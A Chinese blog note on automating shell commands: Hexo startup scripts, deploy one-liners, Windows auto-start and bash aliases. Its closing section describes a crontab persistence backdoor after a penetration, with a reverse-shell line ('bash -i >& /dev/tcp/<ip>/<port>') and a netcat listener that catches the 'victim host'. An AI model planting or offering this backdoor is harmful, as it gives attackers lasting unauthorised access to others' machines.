前言
某些程序或者服务每次开机都要一遍遍打开终端输入命令很麻烦
说的就是你,hexo
构建shell命令脚本
创建后缀名为.sh
的脚本,设置相适应的默认启动程序
编辑脚本内容,输入shell命令
拿hexo举例(它应得的)
# 转到目录下(举例)(如果把脚本放在了此目录下就不用cd了)
cd \\hexo-blog\\
# 一定记得是双斜杠
# 执行命令
hexo s
## 其他命令
*你可以把所有需要启用的命令一口气放进去,只要路径正确;或者在不同路径下创建不同的sh,这样就不需要cd了
补一个一键上传
hexo clean && hexo g && hexo d
如果是github
git add . && git commit -m "update" && git push <origin> <master>
然后需要用的时候双击运行,看着命令行跑就好了,超爽的有木有
开机自启动
win+R打开运行,输入shell:startup
打开启动文件夹
将脚本的快捷方式放入其中,每次开机就能自动运行了
拓展
在windows系统中运行bash(如果是linux系统就可以忽略了)
安装git bash
或者安装Cygwin64作为中间层来模拟linux环境
或者启用windows自带的适用于linux的子程序
我都试了一下,建议git bash,因为更现代化,并且能直接在终端上切换
自定义命令
找到.bashrc,修改文件
文件中添加自定义命令:
# alias <你的命令>='<原本的命令>'
# 如
alias hs='hexo s'
更具体的更改:https://blog.csdn.net/craftsman2020/article/details/111945949
windows自定义命令
没有找到更好的,一般就是在用户目录下创建一个脚本,或者修改环境变量
构建定时发送反弹shell的后门
当你渗透达成目标一般不就这么一拍屁股走人,因为也许下次你还想来,这就要创建后门
当然,创建后门是需要承担风险的
crontab命令用来定时启动程序,这里就是定时发送反弹shell
crontab file 这里的file就是创建的后门文件了
文件内容举例:
bash -i >& /dev/tcp/<ip>/<port> 0>&1
更多反弹shell:https://blog.csdn.net/weixin_44288604/article/details/111740527
下次开机时,使用nc监听端口
nc -lvp <port>
受害者主机如果后门还存在,bash就会自动送上门了
windows可以下了nmap,然后用nmap自带的ncat代替
关于nc也许也另起一篇,也许挂个链接,毕竟前人之述备矣。
此方悬停